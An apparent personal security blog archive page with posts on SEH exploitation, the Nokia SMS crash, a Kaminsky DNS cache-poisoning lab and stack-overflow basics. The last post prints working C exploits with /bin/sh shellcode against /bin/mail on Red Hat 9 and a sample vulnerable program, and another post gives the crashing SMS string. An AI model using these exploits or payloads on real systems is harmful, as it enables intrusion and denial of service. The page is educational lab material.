Week of Exploit Developement Basics - Abusing the SEH

Posted in /home/research, /research/hacking_penetration on April 28th, 2011 by Rick Zhong

POP POP RET - Sample assembly pattern for exploiting SEH based vulnerability. After too much high level dealing with  IS risk, metrics, governance, I found myself a nice SEH exploit development tutorial from Corelan Team to fulfill my itchiness to the geeky stuff. Here it is - Link

Nice neat stuff with actual vulnerable application - the SORITONG mp3 player. ( I couldn’t find the original application package anywhere else so I just registered on the Corelan team site and downloaded the application.) Just a few notes in order to have a full working exploit:

1. Make sure you use the memdump method (the 2nd method in the tutorial) when you try to locate a POP POP RET assembly pattern. I couldn’t locate any usable POP POP RET from the player.dll and end up with a “POP POP RET” in address 0×42103cdc. I am yet to determine whether this is a portable address or just hardcoded in my own XP machine.

2. Only “POP EDI POP ESI RET” will work and if register EBX or EBP are involved and your exploit will likely to be broken. I still need to figure out what’s the exact reason but I guess by poping to EBX or EBP will change the stack segment.

BTW time to go back to explore new features in Metasploit and I haven’t got a chance to explore in depth after it was acquired by Rapid7. I decide to play with a few fuzzing tools before coming back to exploits writing just to make sure I am not getting bored.

Tags: , , ,

Your Nokia phone is ‘cursed’

Posted in /etc/IT_security/news, /home/research, /research/hacking_penetration on January 6th, 2009 by Rick Zhong

Nokia ‘curse of silence’ sms details are released by Tobias Engel.  It is a simple sms like ‘123456789@123456789.1234567890123′ sent as email format from most mobiles. Once you recieve this sms in your vulnerable nokia smart phone (most symbian S60s), it’s a gone case. Factory reset is required.

Exploits details:

http://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txt

Tags: , , ,

POC Setup for Kaminsky’s DNS Finding

Posted in /home/open-source, /home/research, /research/hacking_penetration on October 12th, 2008 by Rick Zhong

Last Thursday I  gave a presentation on Dan Kaminsky’s recent DNS finding to the local security meetup group folks. It has been a while since the previous time I laid my hands on network packets analysis, tweaking a bind9 server and even backtrack 3 looks fresh and interesting to me again.

Initially I thought it would be a huge task to set up a full POC environment of the DNS attack. I was planning and thinking about all the details such as the race conditions, full-function attacker controlled DNS server, segregation of testing environment. However the more I plann, the messier it becomes and until a point which I told myself - forget about it, this is not a huge corporate project which you need all the planning, risk analysis etc etc .  Let’s just be a normal script kiddy - get an available exploits, understand it and set up a minimum environment to try it, if it works, that’s it.   If it doesn’t work, then we analyze what the problem is. This turned out to be a fanatasic plan and again all my old friends - VMware, Ubuntun, Metasploit, Wireshark and Backtrack came into rescue.  Here is the simple but fully workable setup (all in one Lenonvo T61 laptop) :

Vulnerable DNS server

  • Ubuntu 8.04 LTS Desktop Edition in VMware (server 1.06)
  • IP address: 192.168.1.13
  • with Bind9 packages installed
  • A little tweaking of the named options (fixed query source port and allow recursion to the attacker’s subnet, see attached named option files)

Attacker machine

  • Backtrack 3 Final in VMware (This is availabe directly from the home page, you don’t need to install into harddisk anymore)
  • IP address: 192.168.1.24
  • Update your Metasploit to make sure the auxiliary/spoof/DNS/bailiwicked_host” is available

Client PC

  • Windows XP (The host machine which has the vmware-server installed)
  • IP address: 192.168.1.4
  • It just serves as a poor third-party DNS client who queries the vulnerable DNS server for IP info

The successful rate for the POC is quite high,  more than 70% of the spoof attacks (using the Metaslpoit module)  were able to successfully inject the records to the vulnerable DNS server within 20 minutes.  I have attached a copy of Metasploit screen output and a corresponding wireshark traffic dump for one of the POC attacks - make the vulnerable DNS server point www.jpmorgan.com point to ip address 192.168.1.226.

The POC for this attack is pretty safe because the traffic is only routed within the LAN except the initial target DNS nameservers list queries. Anyway the initial queries are harmless at all because they are just normal DNS query to a third party DNS server.   Lastly the Metasploit’s check for recusive DNS server is a bit buggy.  It throws out false-negative and always consider the target vulnerable DNS “not vulnerable”.  I am yet to find out the reason.

Bind9 Named Config Options:  namedconf.options

Metasploit Console Output: msf_output_jpmorgan

Meetup Slides: understand-kaminskys-dns-attacks-oct-2008.ppt

Tags: , , ,

Blackhat 2008 USA Slides Available

Posted in /etc/IT_security/news, /home/research, /research/hacking_penetration on August 12th, 2008 by Rick Zhong

Fresh from the oven !!! wondering where did our deal friend Michael manage to source these treasure …

Full Set of Blackhat 2008 Vegas Conference Presentation Slides

Tags: ,

DNS, DNS, still DNS

Posted in /etc/IT_security/news, /research/hacking_penetration on July 25th, 2008 by Rick Zhong

It’s probably the most [discussed,argued,rumured ...] topic in the infosec field for the past few weeks. Starting from all the media hype of “largest synchronized internet security efforts“, “Most serious security vulnerability” etc and tons of speculations on what exactly is wrong, and just a couple of days ago, the security researcher Halvar Flake revealed some educated guess (exact term used by securityfocus) about this flaw and H D Moore put up some POC exploit in Metasploit as well. For geeks who need more information, there are tons of materials on various mailing list, forum, underground articles. 

But for man on the street, Why so serious?  here is an interesting video from the researcher Dan Kaminsky who discovered this vulnerability and is going to present the details in the coming BlackHat 2008 Vigas.

Tags: , ,

Information Security in Virtual World

Posted in /etc/IT_security/news, /home/MMORPG, /home/research, /research/hacking_penetration on July 8th, 2008 by Rick Zhong

Recently we have seen some rapid growth of information security topics in virtual world, typically relating to MMORPGs and both good and bad. For example World of Warcraft is getting bank-like security while Game Trojans outscore Storm wormIt has been almost a year since I kicked off my part-time hobby research project on MMORPG security. The progress is rather slow but I am really enjoying the exploring process. It’s really amazing to witness the evolving process of all the virtual worlds. Here are a couple of MMORPG security discussion topics I have raised among the local infosecurity interest groups.

Based on the current trend, more and more MMORPGs are no longer “game” and they become a special type of social communities. There is a newly published research survey from CNNIC(China Network Information Centre). Majority of the users consider the virtual world is a community and have a sense of identity and belongings.

Fig 1. The meanning of a MMORPG to users

The meanning of a MMORPG to users

Fig 2. What are the factors of an MMORPG most valued by the users

What are the factors of an MMORPG most valued by the users

This change of users perception towards MMORPGs also reflect the growing importance of information protection to the virtual world and remind the gaming industry to take it very seriously.

Tags: ,

Digging out my old posts from sinfosec.org (3) - Exploits Writing Basics

Posted in /home/research, /research/hacking_penetration on June 30th, 2008 by Rick Zhong

This is another old post from my old forum. It reminds me of those exploits writing days! One day I will be back.

Posted: Tue Dec 13, 2005 10:56 pm
Post subject: Some notes taken when reading on stack overflow attacks

Summary of Stack Overflow Techniques

Basics

Memory Layout Stack Area Operation
bottom of memory                                   	 top of memory
             buffer2    buffer1     sfp(EBP)   ret   a     b     c   

<------   [            ][        ][         ][    ][    ][    ][    ]   

top of stack (ESP)						bottom of stack
  1. Put the shellcode in the environment
  • This is commonly used in case when buffer is too small to put shellcode and return address or the stack is non-executable
  • The linux environment address is fixed at 0xbffffffa, thus we can find the address of the shellcode placed in the environment.
  • In this case, the return address is at 0xbfffffce. Using a “x/35b 0xbfffffce”, you will see the shellcode nicely placed in the memory.

/* Rick the following code is used to exploit the /bin/mail program in RH9, the cc field buffer size is 8214*/

/*

redhat 9.0 and some others linux have this vul.

#/bin/mail -s test -c `perl -e print “A”x9000′` root@localhost,you can see something wrong.

#I write this exploit just for fun ,because “mail” have not suid.

code by OYXin (www.ph4nt0m.net)

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define BUFSIZE 8214

/*shellcode form s0t4ipv6@shellcode.com.ar*/

char shellcode[] = “\x31\xc0\x50\x68\x2f\x2f\x73\x68″

“\x68\x2f\x62\x69\x6e\x89\xe3\x89″

“\x64\x24\x0c\x89\x44\x24\x10\x8d”

“\x4c\x24\x0c\x8b\x54\x24\x08\xb0″

“\x0b\xcd\x80″;

int main(void)

{

char buf[BUFSIZE+16];

char *prog[] = {”/bin/mail”,”-s”,”TEST”,”-c”,buf,”root@localhost”, NULL};

char *env[] = {”HOME=OYXin”, shellcode, NULL};

unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) - strlen(shellcode) - 0×02;

/*unsigned long ret=0xbffffffa - strlen(prog[0] - strlen(shellcode) */

memset(buf,0×41,sizeof(buf));

memcpy(buf+BUFSIZE,(char *)&ret,4);

memcpy(buf+BUFSIZE+4,(char *)&ret,4);

memcpy(buf+BUFSIZE+8,(char *)&ret,4);

buf[BUFSIZE+12] = 0×00;

execve(prog[0],prog,env);

return 0;

}

/* you must enter “.” and a return to get a shell.*/

  • Another common seen situation is to put the shellcode in the environment manually (by export a perl generated strings etc) , then pass it to the vulnerable program as arguments.

A small program can help you get the environment variable address. For each 1 char longer in the executable file name, the address will be differ by 2 bytes. (Don’t forget the stack grows to lower memory space :P)

#include <stdlib.h>

int main(int argc, char *argv[])

{

char *addr;

if (argc < 2)

{

printf(”Usage:\n%s <environment variable name>\n”,argv[0]);

exit(0);

}

addr=getenv(argv[1]);

if(addr == NULL)

printf(”The environment variable %s doesn’t exist.\n”,argv[1]);

else

printf(”%s is located at %p\n”,argv[1],addr);

return 0;

}

  • Put the Shellcode in the stack

This is the most “traditional” way introduced in the alpha’s “smash the stack for fun and profit”. However it becomes ineffective in newer version of various OS due to various protection techniques implemented. The general idea is:

    - Construct an EGG with NOP padding, shellcode in the centre and return address (to the shellcode or NOP padding) in the last part of the EGG. (From Rick: EGG sounds cuter and a nice name.. don’t know who is the first one thought of this idea?)
    - The guessing of return address will be tricky. (see below code which create target at the vulnerable.c , it creates the EGG, put the EGG in a envrionemnt variable and later use it as an argument to the vulnerable.c)

However this code is not effective on Redhat 9.0 kernel 2.4.20-31.9 because the stack pointer (ESP) is not static in this kernel. It is dynamic and random to certain extent based on the process number.

/*this is the vulnerable.c*/

int main(int argc, char **argv[]) {

char little_array[512];

if (argc > 1)

strcpy(little_array,argv[1]);

}

/*end of the vulnerable.c*/

/* This is the exploits */The Shellcoder's Handbook: Discovering and Exploiting Security
HolesJack Koziol, David Litchfield, Dave Aitel, Chris Anley,   

Sinan Eren, Neel Mehta, Riley Hassell   

Publisher: John Wiley & Sons   

ISBN: 0764544683Chapter 2: Stack Overflows   

Sample Program #6   

Please send comments/feedback to jack@infosecinstitute.com or visit
http://www.infosecinstitute.com   

*/   

#include <stdlib.h>   

#define offset_size                    0   

#define buffer_size                    512   

char sc[] =   

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"   

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"   

"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";   

unsigned long find_start(void) {   

__asm__("movl %esp,%eax");   

}   

int main(int argc, char *argv[])   

{   

char *buff, *ptr;   

long *addr_ptr, addr;   

int offset=offset_size, bsize=buffer_size;   

int i;   

/*the missting memory allocation code in the orignal code, maybe just a printing error,
by Rick */   

if (!(buff=malloc(bsize))) {   

printf("Can't allocate memory.\n");   

exit(0);   

}   

if (argc > 1) bsize  = atoi(argv[1]);   

if (argc > 2) offset = atoi(argv[2]);   

addr = find_start() - offset;   

printf("Attempting address: 0x%x\n", addr);   

ptr = buff;   

addr_ptr = (long *) ptr;   

for (i = 0; i < bsize; i+=4)   

*(addr_ptr++) = addr;   

ptr += 4;   

for (i = 0; i < strlen(sc); i++)   

*(ptr++) = sc[i];   

buff[bsize - 1] = '\0';   

memcpy(buff,"BUF=",4);   

putenv(buff);   

system("/bin/bash");   

}
  • Return to libc
Tags: ,